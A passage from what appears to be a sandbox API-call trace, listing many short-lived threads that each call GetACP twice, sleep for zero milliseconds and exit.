(dwMilliseconds=0x0) [0227.476] RtlExitUserThread (Status=0x0) Thread: id = 1210 os_tid = 0x1198 [0227.365] GetACP () returned 0x4e4 [0227.365] GetACP () returned 0x4e4 [0227.365] Sleep (dwMilliseconds=0x0) [0227.477] RtlExitUserThread (Status=0x0) Thread: id = 1211 os_tid = 0x119c [0227.366] GetACP () returned 0x4e4 [0227.366] GetACP () returned 0x4e4 [0227.366] Sleep (dwMilliseconds=0x0) [0227.477] RtlExitUserThread (Status=0x0) Thread: id = 1212 os_tid = 0x11a0 [0227.366] GetACP () returned 0x4e4 [0227.366] GetACP () returned 0x4e4 [0227.366] Sleep (dwMilliseconds=0x0) [0227.478] RtlExitUserThread (Status=0x0) Thread: id = 1213 os_tid = 0x11a4 [0227.367] GetACP () returned 0x4e4 [0227.367] GetACP () returned 0x4e4 [0227.367] Sleep (dwMilliseconds=0x0) [0227.479] RtlExitUserThread (Status=0x0) Thread: id = 1214 os_tid = 0x11a8 [0227.367] GetACP () returned 0x4e4 [0227.367] GetACP () returned 0x4e4 [0227.367] Sleep (dwMilliseconds=0x0) [0227.479] RtlExitUserThread (Status=0x0) Thread: id = 1215 os_tid = 0x11ac [0227.368] GetACP () returned 0x4e4 [0227.368] GetACP () returned 0x4e4 [0227.368] Sleep (dwMilliseconds=0x0) [0227.480] RtlExitUserThread (Status=0x0) Thread: id = 1216 os_tid = 0x11b0 [0227.368] GetACP () returned 0x4e4 [0227.368] GetACP () returned 0x4e4 [0227.368] Sleep (dwMilliseconds=0x0) [0227.481] RtlExitUserThread (Status=0x0) Thread: id = 1237 os_tid = 0x1204 [0227.482] GetACP () returned 0x4e4 [0227.482] GetACP () returned 0x4e4 [0227.482] Sleep (dwMilliseconds=0x0) [0227.594] RtlExitUserThread (Status=0x0) Thread: id = 1238 os_tid = 0x1208 [0227.482] GetACP () returned 0x4e4 [0227.482] GetACP () returned 0x4e4 [0227.482] Sleep (dwMilliseconds=0x0) [0227.596] RtlExitUserThread (Status=0x0) Thread: id = 1239 os_tid = 0x120c [0227.483] GetACP () returned 0x4e4 [0227.483] GetACP () returned 0x4e4 [0227.483] Sleep (dwMilliseconds=0x0) [0227.596] RtlExitUserThread (Status=0x0) Thread: id = 1240 os_tid = 0x1210 [0227.483] GetACP () returned 0x4e4 [0227.483] GetACP () returned 0x4e4 [0227.483] Sleep (dwMilliseconds=0x0) [0227.597] RtlExitUserThread (Status=0x0) Thread: id = 1241 os_tid = 0x1214 [0227.484] GetACP () returned 0x4e4 [0227.484] GetACP () returned 0x4e4 [0227.484] Sleep (dwMilliseconds=0x0) [0227.597] RtlExitUserThread (Status=0x0) Thread: id = 1242 os_tid = 0x1218 [0227.484] GetACP () returned 0x4e4 [0227.484] GetACP () returned 0x4e4 [0227.484] Sleep (dwMilliseconds=0x0) [0227.598] RtlExitUserThread (Status=0x0) Thread: id = 1243 os_tid = 0x121c [0227.485] GetACP () returned 0x4e4 [0227.485] GetACP () returned 0x4e4 [0227.485] Sleep (dwMilliseconds=0x0) [0227.598] RtlExitUserThread (Status=0x0) Thread: id = 1244 os_tid = 0x1220 [0227.485] GetACP () returned 0x4e4 [0227.485] GetACP () returned 0x4e4 [0227.485] Sleep (dwMilliseconds=0x0) [0227.599] RtlExitUserThread (Status=0x0) Thread: id = 1245 os_tid = 0x1224 [0227.485] GetACP () returned 0x4e4 [0227.485] GetACP () returned 0x4e4 [0227.486] Sleep (dwMilliseconds=0x0) [0227.599] RtlExitUserThread (Status=0x0) Thread: id = 1246 os_tid = 0x1228 [0227.486] GetACP () returned 0x4e4 [0227.486] GetACP () returned 0x4e4 [0227.486] Sleep (dwMilliseconds=0x0) [0227.600] RtlExitUserThread (Status=0x0) Thread: id = 1247 os_tid = 0x122c [0227.486] GetACP () returned 0x4e4 [0227.486] GetACP () returned 0x4e4 [0227.486] Sleep (dwMilliseconds=0x0) [0227.600] RtlExitUserThread (Status=0x0) Thread: id = 1248 os_tid = 0x1230 [0227.487] GetACP () returned 0x4e4 [0227.487] GetACP () returned 0x4e4 [0227.487] Sleep (dwMilliseconds=0x0) [0227.601] RtlExitUserThread (Status=0x0) Thread: id = 1249 os_tid = 0x1234 [0227.487] GetACP () returned 0x4e4 [0227.487] GetACP () returned 0x4e4 [0227.487] Sleep (dwMilliseconds=0x0) [0227.602] RtlExitUserThread (Status=0x0) Thread: id = 1250 os_tid = 0x1238 [0227.488] GetACP () returned 0x4e4 [0227.488] GetACP () returned 0x4e4 [0227.488] Sleep (dwMilliseconds=0x0) [0227.602] RtlExitUserThread (Status=0x0) Thread: id = 1251 os_tid = 0x123c [0227.489] GetACP () returned 0x4e4 [0227.489] GetACP () returned 0x4e4 [0227.489] Sleep (dwMilliseconds=0x0) [0227.603] RtlExitUserThread (Status=0x0) Thread: id = 1252 os_tid = 0x1240 [0227.490] GetACP () returned 0x4e4 [0227.490] GetACP () returned 0x4e4 [0227.490] Sleep (dwMilliseconds=0x0) [0227.603] RtlExitUserThread (Status=0x0) Thread: id = 1253 os_tid = 0x1244 [0227.490] GetACP () returned 0x4e4 [0227.490] GetACP () returned 0x4e4 [0227.490] Sleep (dwMilliseconds=0x0) [0227.604] RtlExitUserThread (Status=0x0) Thread: id = 1254 os_tid = 0x1248 [0227.490] GetACP () returned 0x4e4 [0227.490] GetACP () returned 0x4e4 [0227.490] Sleep (dwMilliseconds=0x0) [0227.604] RtlExitUserThread (Status=0x0) Thread: id = 1255 os_tid = 0x124c [0227.491] GetACP () returned 0x4e4 [0227.491] GetACP () returned 0x4e4 [0227.491] Sleep (dwMilliseconds=0x0) [0227.605] RtlExitUserThread (Status=0x0) Thread: id = 1256 os_tid = 0x1250 [0227.491] GetACP () returned 0x4e4 [0227.491] GetACP () returned 0x4e4 [0227.491] Sleep (dwMilliseconds=0x0) [0227.605] RtlExitUserThread (Status=0x0) Thread: id = 1277 os_tid = 0x12a4 [0227.606] GetACP () returned 0x4e4 [0227.606] GetACP () returned 0x4e4 [0227.606] Sleep (dwMilliseconds=0x0) [0227.718] RtlExitUserThread (Status=0x0) Thread: id = 1278 os_tid = 0x12a8 [0227.608] GetACP () returned 0x4e4 [0227.608] GetACP () returned 0x4e4 [0227.608] Sleep (dwMilliseconds=0x0) [0227.718] RtlExitUserThread (Status=0x0) Thread: id = 1279 os_tid = 0x12ac [0227.608] GetACP () returned 0x4e4 [0227.608] GetACP () returned 0x4e4 [0227.608] Sleep (dwMilliseconds=0x0) [0227.719] RtlExitUserThread (Status=0x0) Thread: id = 1280 os_tid = 0x12b0 [0227.609] GetACP () returned 0x4e4 [0227.609] GetACP () returned 0x4e4 [0227.609] Sleep (dwMilliseconds=0x0) [0227.719] RtlExitUserThread (Status=0x0) Thread: id = 1281 os_tid = 0x12b4 [0227.609] GetACP () returned 0x4e4 [0227.609] GetACP () returned 0x4e4 [0227.609] Sleep (dwMilliseconds=0x0) [0227.720] RtlExitUserThread (Status=0x0) Thread: id = 1282 os_tid = 0x12b8 [0227.610] GetACP () returned 0x4e4 [0227.610] GetACP () returned 0x4e4 [0227.610] Sleep (dwMilliseconds=0x0) [0227.721] RtlExitUserThread (Status=0x0) Thread: id = 1283 os_tid = 0x12bc [0227.610] GetACP () returned 0x4e4 [0227.610] GetACP () returned 0x4e4 [0227.610] Sleep (dwMilliseconds=0x0) [0227.721] RtlExitUserThread (Status=0x0) Thread: id = 1284 os_tid = 0x12c0 [0227.611] GetACP () returned 0x4e4 [0227.611] GetACP () returned 0x4e4 [0227.611] Sleep (dwMilliseconds=0x0) [0227.722] RtlExitUserThread (Status=0x0) Thread: id = 1285 os_tid = 0x12c4 [0227.611] GetACP () returned 0x4e4 [0227.611] GetACP () returned 0x4e4 [0227.611] Sleep (dwMilliseconds=0x0) [0227.722] RtlExitUserThread (Status=0x0) Thread: id = 1286 os_tid = 0x12c8 [0227.611] GetACP () returned 0x4e4 [0227.612] GetACP () returned 0x4e4 [0227.612] Sleep (dwMilliseconds=0x0) [0227.723] RtlExitUserThread (Status=0x0) Thread: id = 1287 os_tid = 0x12cc [0227.612] GetACP () returned 0x4e4 [0227.612] GetACP () returned 0x4e4 [0227.612] Sleep (dwMilliseconds=0x0) [0227.723] RtlExitUserThread (Status=0x0) Thread: id = 1288 os_tid = 0x12d0 [0227.612] GetACP () returned 0x4e4 [0227.612] GetACP () returned 0x4e4 [0227.612] Sleep (dwMilliseconds=0x0) [0227.724] RtlExitUserThread (Status=0x0) Thread: id = 1289 os_tid = 0x12d4 [0227.613] GetACP () returned 0x4e4 [0227.613] GetACP () returned 0x4e4 [0227.613] Sleep (dwMilliseconds=0x0) [0227.724] RtlExitUserThread (Status=0x0) Thread: id = 1290 os_tid = 0x12d8 [0227.613] GetACP () returned 0x4e4 [0227.613] GetACP () returned 0x4e4 [0227.613] Sleep (dwMilliseconds=0x0) [0227.725] RtlExitUserThread (Status=0x0) Thread: id = 1291 os_tid = 0x12dc [0227.614] GetACP () returned 0x4e4 [0227.614] GetACP () returned 0x4e4 [0227.614] Sleep (dwMilliseconds=0x0) [0227.725] RtlExitUserThread (Status=0x0) Thread: id = 1292 os_tid = 0x12e0 [0227.614] GetACP () returned 0x4e4 [0227.614] GetACP () returned 0x4e4 [0227.614] Sleep (dwMilliseconds=0x0) [0227.726] RtlExitUserThread (Status=0x0) Thread: id = 1293 os_tid = 0x12e4 [0227.614] GetACP () returned 0x4e4 [0227.614] GetACP () returned 0x4e4 [0227.614] Sleep (dwMilliseconds=0x0) [0227.726] RtlExitUserThread (Status=0x0) Thread: id = 1294 os_tid = 0x12e8 [0227.615] GetACP () returned 0x4e4 [0227.615] GetACP () returned 0x4e4 [0227.615] Sleep (dwMilliseconds=0x0) [0227.727] RtlExitUserThread (Status=0x0) Thread: id = 1295 os_tid = 0x12ec [0227.615] GetACP () returned 0x4e4 [0227.615] GetACP () returned 0x4e4 [0227.616] Sleep (dwMilliseconds=0x0) [0227.728] RtlExitUserThread (Status=0x0) Thread: id = 1296 os_tid = 0x12f0 [0227.616] GetACP () returned 0x4e4 [0227.616] GetACP () returned 0x4e4 [0227.616] Sleep (dwMilliseconds=0x0) [0227.728] RtlExitUserThread (Status=0x0) Thread: id = 1317 os_tid = 0x1344 [0227.729] GetACP () returned 0x4e4 [0227.729] GetACP () returned 0x4e4 [0227.729] Sleep (dwMilliseconds=0x0) [0227.843] RtlExitUserThread (Status=0x0) Thread: id = 1318 os_tid = 0x1348 [0227.729] GetACP () returned 0x4e4 [0227.729] GetACP () returned 0x4e4 [0227.730] Sleep (dwMilliseconds=0x0) [0227.844] RtlExitUserThread (Status=0x0) Thread: id = 1319 os_tid = 0x134c [0227.730] GetACP () returned 0x4e4 [0227.730] GetACP () returned 0x4e4 [0227.730] Sleep (dwMilliseconds=0x0) [0227.844] RtlExitUserThread (Status=0x0) Thread: id = 1320 os_tid = 0x1350 [0227.730] GetACP () returned 0x4e4 [0227.730] GetACP () returned 0x4e4 [0227.730] Sleep (dwMilliseconds=0x0) [0227.845] RtlExitUserThread (Status=0x0) Thread: id = 1321 os_tid = 0x1354 [0227.731] GetACP () returned 0x4e4 [0227.731] GetACP () returned 0x4e4 [0227.731] Sleep (dwMilliseconds=0x0) [0227.845] RtlExitUserThread (Status=0x0) Thread: id = 1322 os_tid = 0x1358 [0227.731] GetACP () returned 0x4e4 [0227.731] GetACP () returned 0x4e4 [0227.731] Sleep (dwMilliseconds=0x0) [0227.846] RtlExitUserThread (Status=0x0) Thread: id = 1323 os_tid = 0x135c [0227.732] GetACP () returned 0x4e4 [0227.732] GetACP () returned 0x4e4 [0227.732] Sleep (dwMilliseconds=0x0) [0227.846] RtlExitUserThread (Status=0x0) Thread: id = 1324 os_tid = 0x1360 [0227.732] GetACP () returned 0x4e4 [0227.732] GetACP () returned 0x4e4 [0227.732] Sleep (dwMilliseconds=0x0) [0227.847] RtlExitUserThread (Status=0x0) Thread: id = 1325 os_tid = 0x1364 [0227.733] GetACP () returned 0x4e4 [0227.733] GetACP () returned 0x4e4 [0227.733] Sleep (dwMilliseconds=0x0) [0227.847] RtlExitUserThread (Status=0x0) Thread: id = 1326 os_tid = 0x1368 [0227.733] GetACP () returned 0x4e4 [0227.733] GetACP () returned 0x4e4 [0227.733] Sleep (dwMilliseconds=0x0) [0227.848] RtlExitUserThread (Status=0x0) Thread: id = 1327 os_tid = 0x136c [0227.734] GetACP () returned 0x4e4 [0227.734] GetACP () returned 0x4e4 [0227.734] Sleep (dwMilliseconds=0x0) [0227.849] RtlExitUserThread (Status=0x0) Thread: id = 1328 os_tid = 0x1370 [0227.734] GetACP () returned 0x4e4 [0227.734] GetACP () returned 0x4e4 [0227.734] Sleep (dwMilliseconds=0x0) [0227.849] RtlExitUserThread (Status=0x0) Thread: id = 1329 os_tid = 0x1374 [0227.735] GetACP () returned 0x4e4 [0227.735] GetACP () returned 0x4e4 [0227.735] Sleep (dwMilliseconds=0x0) [0227.850] RtlExitUserThread (Status=0x0) Thread: id = 1330 os_tid = 0x1378 [0227.735] GetACP () returned 0x4e4 [0227.735] GetACP () returned 0x4e4 [0227.735] Sleep (dwMilliseconds=0x0) [0227.850] RtlExitUserThread (Status=0x0) Thread: id = 1331 os_tid = 0x137c [0227.735] GetACP () returned 0x4e4 [0227.735] GetACP () returned 0x4e4 [0227.736] Sleep (dwMilliseconds=0x0) [0227.851] RtlExitUserThread (Status=0x0) Thread: id = 1332 os_tid = 0x1380 [0227.736] GetACP () returned 0x4e4 [0227.736] GetACP () returned 0x4e4 [0227.736] Sleep (dwMilliseconds=0x0) [0227.853] RtlExitUserThread (Status=0x0) Thread: id = 1333 os_tid = 0x1384 [0227.736] GetACP () returned 0x4e4 [0227.736] GetACP () returned 0x4e4 [0227.736] Sleep (dwMilliseconds=0x0) [0227.853] RtlExitUserThread (Status=0x0) Thread: id = 1334 os_tid = 0x1388 [0227.737] GetACP () returned 0x4e4 [0227.737] GetACP () returned 0x4e4 [0227.737] Sleep (dwMilliseconds=0x0) [0227.854] RtlExitUserThread (Status=0x0) Thread: id = 1335 os_tid = 0x138c [0227.737] GetACP () returned 0x4e4 [0227.737] GetACP () returned 0x4e4 [0227.737] Sleep (dwMilliseconds=0x0) [0227.854] RtlExitUserThread (Status=0x0) Thread: id = 1336 os_tid = 0x1390 [0227.738] GetACP () returned 0x4e4 [0227.738] GetACP () returned 0x4e4 [0227.738] Sleep (dwMilliseconds=0x0) [0227.855] RtlExitUserThread (Status=0x0) Thread: id = 1357 os_tid = 0x13e4 [0227.856] GetACP () returned 0x4e4 [0227.856] GetACP () returned 0x4e4 [0227.856] Sleep (dwMilliseconds=0x0) [0227.967] RtlExitUserThread (Status=0x0) Thread: id = 1358 os_tid = 0x13e8 [0227.857] GetACP () returned 0x4e4 [0227.857] GetACP () returned 0x4e4 [0227.857] Sleep (dwMilliseconds=0x0) [0227.968] RtlExitUserThread (Status=0x0) Thread: id = 1359 os_tid = 0x13ec [0227.857] GetACP () returned 0x4e4 [0227.857] GetACP () returned 0x4e4 [0227.857] Sleep (dwMilliseconds=0x0) [0227.968] RtlExitUserThread (Status=0x0) Thread: id = 1360 os_tid = 0x13f0 [0227.858] GetACP () returned 0x4e4 [0227.858] GetACP () returned 0x4e4 [0227.858] Sleep (dwMilliseconds=0x0) [0227.969] RtlExitUserThread (Status=0x0) Thread: id = 1361 os_tid = 0x13f4 [0227.858] GetACP () returned 0x4e4 [0227.858] GetACP () returned 0x4e4 [0227.858] Sleep (dwMilliseconds=0x0) [0227.969] RtlExitUserThread (Status=0x0) Thread: id = 1362 os_tid = 0x13f8 [0227.858] GetACP () returned 0x4e4 [0227.858] GetACP () returned 0x4e4 [0227.858] Sleep (dwMilliseconds=0x0) [0227.970] RtlExitUserThread (Status=0x0) Thread: id = 1363 os_tid = 0x13fc [0227.859] GetACP () returned 0x4e4 [0227.859] GetACP () returned 0x4e4 [0227.859] Sleep (dwMilliseconds=0x0) [0227.970] RtlExitUserThread (Status=0x0) Thread: id = 1364 os_tid = 0xa50 [0227.859] GetACP () returned 0x4e4 [0227.859] GetACP () returned 0x4e4 [0227.859] Sleep (dwMilliseconds=0x0) [0227.971] RtlExitUserThread (Status=0x0) Thread: id = 1365 os_tid = 0xa48 [0227.860] GetACP () returned 0x4e4 [0227.860] GetACP () returned 0x4e4 [0227.860] Sleep (dwMilliseconds=0x0) [0227.972] RtlExitUserThread (Status=0x0) Thread: id = 1366 os_tid = 0xa4c [0227.860] GetACP () returned 0x4e4 [0227.860] GetACP () returned 0x4e4 [0227.860] Sleep (dwMilliseconds=0x0) [0227.972] RtlExitUserThread (Status=0x0) Thread: id = 1367 os_tid = 0xa5c [0227.861] GetACP () returned 0x4e4 [0227.861] GetACP () returned 0x4e4 [0227.861] Sleep (dwMilliseconds=0x0) [0227.973] RtlExitUserThread (Status=0x0) Thread: id = 1368 os_tid = 0xda4 [0227.861] GetACP () returned 0x4e4 [0227.861] GetACP () returned 0x4e4 [0227.861] Sleep (dwMilliseconds=0x0) [0227.974] RtlExitUserThread (Status=0x0) Thread: id = 1369 os_tid = 0xda0 [0227.862] GetACP () returned 0x4e4 [0227.862] GetACP () returned 0x4e4 [0227.862] Sleep (dwMilliseconds=0x0) [0227.974] RtlExitUserThread (Status=0x0) Thread: id = 1370 os_tid = 0x1404 [0227.862] GetACP () returned 0x4e4 [0227.862] GetACP () returned 0x4e4 [0227.862] Sleep (dwMilliseconds=0x0) [0227.976] RtlExitUserThread (Status=0x0) Thread: id = 1371 os_tid = 0x1408 [0227.863] GetACP () returned 0x4e4 [0227.863] GetACP () returned 0x4e4 [0227.863] Sleep (dwMilliseconds=0x0) [0227.977] RtlExitUserThread (Status=0x0) Thread: id = 1372 os_tid = 0x140c [0227.863] GetACP () returned 0x4e4 [0227.863] GetACP () returned 0x4e4 [0227.863] Sleep (dwMilliseconds=0x0) [0227.978] RtlExitUserThread (Status=0x0) Thread: id = 1373 os_tid = 0x1410 [0227.863] GetACP () returned 0x4e4 [0227.863] GetACP () returned 0x4e4 [0227.863] Sleep (dwMilliseconds=0x0) [0227.978] RtlExitUserThread (Status=0x0) Thread: id = 1374 os_tid = 0x1414 [0227.864] GetACP () returned 0x4e4 [0227.864] GetACP () returned 0x4e4 [0227.864] Sleep (dwMilliseconds=0x0) [0227.979] RtlExitUserThread (Status=0x0) Thread: id = 1375 os_tid = 0x1418 [0227.865] GetACP () returned 0x4e4 [0227.865] GetACP () returned 0x4e4 [0227.865] Sleep (dwMilliseconds=0x0) [0227.979] RtlExitUserThread (Status=0x0) Thread: id = 1376 os_tid = 0x141c [0227.865] GetACP () returned 0x4e4 [0227.865] GetACP () returned 0x4e4 [0227.865] Sleep (dwMilliseconds=0x0) [0227.980] RtlExitUserThread (Status=0x0) Thread: id = 1397 os_tid = 0x1470 [0227.981] GetACP () returned 0x4e4 [0227.981] GetACP () returned 0x4e4 [0227.981] Sleep (dwMilliseconds=0x0) [0228.109] RtlExitUserThread (Status=0x0) Thread: id = 1398 os_tid = 0x1474 [0227.981] GetACP () returned 0x4e4 [0227.981] GetACP () returned 0x4e4 [0227.981] Sleep (dwMilliseconds=0x0) [0228.110] RtlExitUserThread (Status=0x0) Thread: id = 1399 os_tid = 0x1478 [0227.982] GetACP () returned 0x4e4 [0227.982] GetACP () returned 0x4e4 [0227.982] Sleep (dwMilliseconds=0x0) [0228.112] RtlExitUserThread (Status=0x0) Thread: id = 1400 os_tid = 0x147c [0227.983] GetACP () returned 0x4e4 [0227.983] GetACP () returned 0x4e4 [0227.983] Sleep (dwMilliseconds=0x0) [0228.112] RtlExitUserThread (Status=0x0) Thread: id = 1401 os_tid = 0x1480 [0227.983] GetACP () returned 0x4e4 [0227.983] GetACP () returned 0x4e4 [0227.983] Sleep (dwMilliseconds=0x0) [0228.113] RtlExitUserThread (Status=0x0) Thread: id = 1402 os_tid = 0x1484 [0227.984] GetACP () returned 0x4e4 [0227.984] GetACP () returned 0x4e4 [0227.984] Sleep (dwMilliseconds=0x0) [0228.114] RtlExitUserThread (Status=0x0) Thread: id = 1403 os_tid = 0x1488 [0227.984] GetACP () returned 0x4e4 [0227.984] GetACP () returned 0x4e4 [0227.984] Sleep (dwMilliseconds=0x0) [0228.115] RtlExitUserThread (Status=0x0) Thread: id = 1404 os_tid = 0x148c [0227.985] GetACP () returned 0x4e4 [0227.985] GetACP () returned 0x4e4 [0227.985] Sleep (dwMilliseconds=0x0) [0228.115] RtlExitUserThread (Status=0x0) Thread: id = 1405 os_tid = 0x1490 [0227.985] GetACP () returned 0x4e4 [0227.985] GetACP () returned 0x4e4 [0227.985] Sleep (dwMilliseconds=0x0) [0228.116] RtlExitUserThread (Status=0x0) Thread: id = 1406 os_tid = 0x1494 [0227.986] GetACP () returned 0x4e4 [0227.986] GetACP () returned 0x4e4 [0227.986] Sleep (dwMilliseconds=0x0) [0228.117] RtlExitUserThread (Status=0x0) Thread: id = 1407 os_tid = 0x1498 [0227.986] GetACP () returned 0x4e4 [0227.986] GetACP () returned 0x4e4 [0227.986] Sleep (dwMilliseconds=0x0) [0228.117] RtlExitUserThread (Status=0x0) Thread: id = 1408 os_tid = 0x149c [0227.987] GetACP () returned 0x4e4 [0227.987] GetACP () returned 0x4e4 [0227.987] Sleep (dwMilliseconds=0x0) [0228.118] RtlExitUserThread (Status=0x0) Thread: id = 1409 os_tid = 0x14a0 [0227.987] GetACP () returned 0x4e4 [0227.987] GetACP () returned 0x4e4 [0227.987] Sleep (dwMilliseconds=0x0) [0228.119] RtlExitUserThread (Status=0x0) Thread: id = 1410 os_tid = 0x14a4 [0227.988] GetACP () returned 0x4e4 [0227.988] GetACP () returned 0x4e4 [0227.988] Sleep (dwMilliseconds=0x0) [0228.120] RtlExitUserThread (Status=0x0) Thread: id = 1411 os_tid = 0x14a8 [0227.988] GetACP () returned 0x4e4 [0227.988] GetACP () returned 0x4e4 [0227.988] Sleep (dwMilliseconds=0x0) [0228.120] RtlExitUserThread (Status=0x0) Thread: id = 1412 os_tid = 0x14ac [0227.989] GetACP () returned 0x4e4 [0227.989] GetACP () returned 0x4e4 [0227.989] Sleep (dwMilliseconds=0x0) [0228.121] RtlExitUserThread (Status=0x0) Thread: id = 1413 os_tid = 0x14b0 [0227.989] GetACP () returned 0x4e4 [0227.989] GetACP () returned 0x4e4 [0227.989] Sleep (dwMilliseconds=0x0) [0228.122] RtlExitUserThread (Status=0x0) Thread: id = 1414 os_tid = 0x14b4 [0227.990] GetACP () returned 0x4e4 [0227.990] GetACP () returned 0x4e4 [0227.990] Sleep (dwMilliseconds=0x0) [0228.123] RtlExitUserThread (Status=0x0) Thread: id = 1415 os_tid = 0x14b8 [0227.991] GetACP () returned 0x4e4 [0227.991] GetACP () returned 0x4e4 [0227.991] Sleep (dwMilliseconds=0x0) [0228.124] RtlExitUserThread (Status=0x0) Thread: id = 1416 os_tid = 0x14bc [0227.991] GetACP () returned 0x4e4 [0227.991] GetACP () returned 0x4e4 [0227.991] Sleep (dwMilliseconds=0x0) [0228.125] RtlExitUserThread (Status=0x0) Thread: id = 1437 os_tid = 0x1510 [0228.126] GetACP () returned 0x4e4 [0228.126] GetACP () returned 0x4e4 [0228.126] Sleep (dwMilliseconds=0x0) [0228.248] RtlExitUserThread (Status=0x0) Thread: id = 1438 os_tid = 0x1514 [0228.126] GetACP () returned 0x4e4 [0228.126] GetACP () returned 0x4e4 [0228.126] Sleep (dwMilliseconds=0x0) [0228.251] RtlExitUserThread (Status=0x0) Thread: id = 1439 os_tid = 0x1518 [0228.127] GetACP () returned 0x4e4 [0228.127] GetACP () returned 0x4e4 [0228.127] Sleep (dwMilliseconds=0x0) [0228.252] RtlExitUserThread (Status=0x0) Thread: id = 1440 os_tid = 0x151c [0228.127] GetACP () returned 0x4e4 [0228.127] GetACP () returned 0x4e4 [0228.127] Sleep (dwMilliseconds=0x0) [0228.252] RtlExitUserThread (Status=0x0) Thread: id = 1441 os_tid = 0x1520 [0228.128] GetACP () returned 0x4e4 [0228.128] GetACP () returned 0x4e4 [0228.128] Sleep (dwMilliseconds=0x0) [0228.253] RtlExitUserThread (Status=0x0) Thread: id = 1442 os_tid = 0x1524 [0228.129] GetACP () returned 0x4e4 [0228.129] GetACP () returned 0x4e4 [0228.129] Sleep (dwMilliseconds=0x0) [0228.254] RtlExitUserThread (Status=0x0) Thread: id = 1443 os_tid = 0x1528 [0228.129] GetACP () returned 0x4e4 [0228.129] GetACP () returned 0x4e4 [0228.129] Sleep (dwMilliseconds=0x0) [0228.255] RtlExitUserThread (Status=0x0) Thread: id = 1444 os_tid = 0x152c [0228.130] GetACP () returned 0x4e4 [0228.130] GetACP () returned 0x4e4 [0228.130] Sleep (dwMilliseconds=0x0) [0228.255] RtlExitUserThread (Status=0x0) Thread: id = 1445 os_tid = 0x1530 [0228.130] GetACP () returned 0x4e4 [0228.130] GetACP () returned 0x4e4 [0228.130] Sleep (dwMilliseconds=0x0) [0228.256] RtlExitUserThread (Status=0x0) Thread: id = 1446 os_tid = 0x1534 [0228.131] GetACP () returned 0x4e4 [0228.131] GetACP () returned 0x4e4 [0228.131] Sleep (dwMilliseconds=0x0) [0228.257] RtlExitUserThread (Status=0x0) Thread: id = 1447 os_tid = 0x1538 [0228.133] GetACP () returned 0x4e4 [0228.133] GetACP () returned 0x4e4 [0228.133] Sleep (dwMilliseconds=0x0) [0228.257] RtlExitUserThread (Status=0x0) Thread: id = 1448 os_tid = 0x153c [0228.133] GetACP () returned 0x4e4 [0228.133] GetACP () returned 0x4e4 [0228.133] Sleep (dwMilliseconds=0x0) [0228.258] RtlExitUserThread (Status=0x0) Thread: id = 1449 os_tid = 0x1540 [0228.134] GetACP () returned 0x4e4 [0228.134] GetACP () returned 0x4e4 [0228.134] Sleep (dwMilliseconds=0x0) [0228.259] RtlExitUserThread (Status=0x0) Thread: id = 1450 os_tid = 0x1544 [0228.135] GetACP () returned 0x4e4 [0228.135] GetACP () returned 0x4e4 [0228.135] Sleep (dwMilliseconds=0x0) [0228.259] RtlExitUserThread (Status=0x0) Thread: id = 1451 os_tid = 0x1548 [0228.135] GetACP () returned 0x4e4 [0228.135] GetACP () returned 0x4e4 [0228.135] Sleep (dwMilliseconds=0x0) [0228.260] RtlExitUserThread (Status=0x0) Thread: id = 1452 os_tid = 0x154c [0228.136] GetACP () returned 0x4e4 [0228.136] GetACP () returned 0x4e4 [0228.136] Sleep (dwMilliseconds=0x0) [0228.260] RtlExitUserThread (Status=0x0) Thread: id = 1453 os_tid = 0x1550 [0228.136] GetACP () returned 0x4e4 [0228.137] GetACP () returned 0x4e4 [0228.137] Sleep (dwMilliseconds=0x0) [0228.261] RtlExitUserThread (Status=0x0) Thread: id = 1454 os_tid = 0x1554 [0228.137] GetACP () returned 0x4e4 [0228.137] GetACP () returned 0x4e4 [0228.137] Sleep (dwMilliseconds=0x0) [0228.262] RtlExitUserThread (Status=0x0) Thread: id = 1455 os_tid = 0x1558 [0228.138] GetACP () returned 0x4e4 [0228.138] GetACP () returned 0x4e4 [0228.138] Sleep (dwMilliseconds=0x0) [0228.263] RtlExitUserThread (Status=0x0) Thread: id = 1456 os_tid = 0x155c [0228.139] GetACP () returned 0x4e4 [0228.139] GetACP () returned 0x4e4 [0228.139] Sleep (dwMilliseconds=0x0) [0228.264] RtlExitUserThread (Status=0x0) Thread: id = 1477 os_tid = 0x15b0 [0228.265] GetACP () returned 0x4e4 [0228.265] GetACP () returned 0x4e4 [0228.265] Sleep (dwMilliseconds=0x0) [0228.421] RtlExitUserThread (Status=0x0) Thread: id = 1478 os_tid = 0x15b4 [0228.265] GetACP () returned 0x4e4 [0228.265] GetACP () returned 0x4e4 [0228.265] Sleep (dwMilliseconds=0x0) [0228.422] RtlExitUserThread (Status=0x0) Thread: id = 1479 os_tid = 0x15b8 [0228.266] GetACP () returned 0x4e4 [0228.266] GetACP () returned 0x4e4 [0228.266] Sleep (dwMilliseconds=0x0) [0228.422] RtlExitUserThread (Status=0x0) Thread: id = 1480 os_tid = 0x15bc [0228.266] GetACP () returned 0x4e4 [0228.266] GetACP () returned 0x4e4 [0228.266] Sleep (dwMilliseconds=0x0) [0228.423] RtlExitUserThread (Status=0x0) Thread: id = 1481 os_tid = 0x15c0 [0228.267] GetACP () returned 0x4e4 [0228.267] GetACP () returned 0x4e4 [0228.267] Sleep (dwMilliseconds=0x0) [0228.424] RtlExitUserThread (Status=0x0) Thread: id = 1482 os_tid = 0x15c4 [0228.267] GetACP () returned 0x4e4 [0228.267] GetACP () returned 0x4e4 [0228.267] Sleep (dwMilliseconds=0x0) [0228.425] RtlExitUserThread (Status=0x0) Thread: id = 1483 os_tid = 0x15c8 [0228.268] GetACP () returned 0x4e4 [0228.268] GetACP () returned 0x4e4 [0228.268] Sleep (dwMilliseconds=0x0) [0228.425] RtlExitUserThread (Status=0x0) Thread: id = 1484 os_tid = 0x15cc [0228.268] GetACP () returned 0x4e4 [0228.268] GetACP () returned 0x4e4 [0228.268] Sleep (dwMilliseconds=0x0) [0228.426] RtlExitUserThread (Status=0x0) Thread: id = 1485 os_tid = 0x15d0 [0228.269] GetACP () returned 0x4e4 [0228.269] GetACP () returned 0x4e4 [0228.269] Sleep (dwMilliseconds=0x0) [0228.427] RtlExitUserThread (Status=0x0) Thread: id = 1486 os_tid = 0x15d4 [0228.269] GetACP () returned 0x4e4 [0228.269] GetACP () returned 0x4e4 [0228.269] Sleep (dwMilliseconds=0x0) [0228.428] RtlExitUserThread (Status=0x0) Thread: id = 1487 os_tid = 0x15d8 [0228.270] GetACP () returned 0x4e4 [0228.270] GetACP () returned 0x4e4 [0228.270] Sleep (dwMilliseconds=0x0) [0228.429] RtlExitUserThread (Status=0x0) Thread: id = 1488 os_tid = 0x15dc [0228.270] GetACP () returned 0x4e4 